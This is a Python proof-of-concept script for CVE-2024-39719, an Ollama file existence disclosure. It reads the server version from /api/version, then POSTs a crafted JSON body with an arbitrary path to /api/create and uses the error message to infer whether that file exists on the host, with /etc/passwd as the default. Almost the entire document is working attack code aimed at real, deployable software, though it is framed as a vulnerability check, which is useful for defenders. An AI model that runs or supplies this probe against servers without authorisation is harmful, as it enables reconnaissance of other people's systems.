import requests
from termcolor import colored
import argparse

def format_url(url):
    """
    Ensure URL is properly formatted (no trailing slashes)
    
    Args:
        url (str): URL to format
        
    Returns:
        str: Properly formatted URL
    """
    # Ensure URL starts with http/https
    if not url.startswith('http'):
        url = 'http://' + url
        
    # Remove trailing slash if present
    if url.endswith('/'):
        url = url[:-1]
        
    return url

def check_ollama_version(base_url):
    """
    Check Ollama version to determine if it's vulnerable to CVE-2024-39719
    
    Args:
        base_url (str): Base URL of Ollama server
        
    Returns:
        tuple: (is_vulnerable, version_str or None, error_message or None)
    """
    try:
        # Format URL and construct version endpoint URL
        base_url = format_url(base_url)
        version_url = f"{base_url}/api/version"
        
        # Send request to version endpoint
        response = requests.get(version_url, timeout=5)
        
        if response.status_code == 200:
            # Parse version from response
            data = response.json()
            if "version" in data:
                version = data["version"]
                # Check if version is vulnerable (≤ 0.3.14)
                is_vulnerable = is_version_vulnerable(version)
                
                if is_vulnerable:
                    return True, version, None
                else:
                    return False, version, f"Ollama version {version} is not vulnerable to CVE-2024-39719 (requires version ≤ 0.3.14)"
            else:
                return False, None, "Version information not found in response"
        else:
            return False, None, f"Failed to get version, server returned status code: {response.status_code}"
            
    except requests.exceptions.RequestException as e:
        return False, None, f"Connection error: {str(e)}"
    except Exception as e:
        return False, None, f"Error checking Ollama version: {str(e)}"

def is_version_vulnerable(version):
    """
    Check if the given version is vulnerable to CVE-2024-39719 (≤ 0.3.14)
    
    Args:
        version (str): Version string (e.g., "0.1.44")
        
    Returns:
        bool: True if version is vulnerable, False otherwise
    """
    try:
        # Parse version components
        components = version.split('.')
        major, minor, patch = map(int, components)
        
        # Check if version is <= 0.3.14
        if major == 0 and minor == 3 and patch <= 14:
            return True
        elif major == 0 and minor < 3:
            return True
        else:
            return False
    except (ValueError, IndexError):
        # If version parsing fails, assume vulnerable to be safe
        print(colored(f"[WARNING] Could not parse version string: {version}", "yellow"))
        return True

def check_file_existence(base_url, file_path):
    """
    Check if a file exists on the Ollama server using the file existence vulnerability
    
    Args:
        base_url (str): Base URL of Ollama server
        file_path (str): Path of the file to check
        
    Returns:
        tuple: (exists, response_text, error_message)
            exists: bool - True if file exists, False if not, None if error
            response_text: str - Raw response text from the server
            error_message: str - Error message if any
    """
    try:
        base_url = format_url(base_url)
        payload = {
            "name": "test",
            "path": file_path
        }
        
        # Send request to leak file endpoint
        response = requests.post(f"{base_url}/api/create", json=payload, timeout=5)
        
        if "no such file or directory" in response.text:
            return False, response.text, None
        else:
            # Unexpected response
            return True, response.text, None
            
    except requests.exceptions.RequestException as e:
        return None, None, f"Connection error: {str(e)}"
    except Exception as e:
        return None, None, f"Error checking file existence: {str(e)}"

def main():
    # Parse command line arguments
    parser = argparse.ArgumentParser(description='Check for CVE-2024-39719 (Ollama File Existence Disclosure)')
    parser.add_argument('-u', '--url', help='URL of the Ollama server', required=True)
    parser.add_argument('-f', '--file', default="/etc/passwd", help='File to check for existence')
    args = parser.parse_args()
    
    print(colored(f"[*] Checking Ollama server at {args.url} for CVE-2024-39719...", "blue"))
    
    # Check if server is vulnerable based on version
    is_vulnerable, version, error_message = check_ollama_version(args.url)
    
    if is_vulnerable:
        print(colored(f"[VULNERABLE] Ollama version {version} is vulnerable to CVE-2024-39719 (File Existence Disclosure)", "red"))
    elif error_message:
        print(colored(f"[ERROR] {error_message}", "red"))
    else:
        print(colored(f"[SAFE] Ollama version {version} is not vulnerable to CVE-2024-39719", "green"))
        return
    
    # Test the vulnerability by checking for the specified file
    file_exists, response_text, error = check_file_existence(args.url, args.file)
    
    if error:
        print(colored(f"[ERROR] {error}", "red"))
    else:
        if file_exists is True:
            print(colored(f"[INFO] File {args.file} may exist on the server", "green"))
        else:
            print(colored(f"[INFO] File {args.file} does not exist, but server is disclosing file existence", "green"))
        
        print(colored("\nServer response:", "blue"))
        print(response_text)

if __name__ == "__main__":
    main()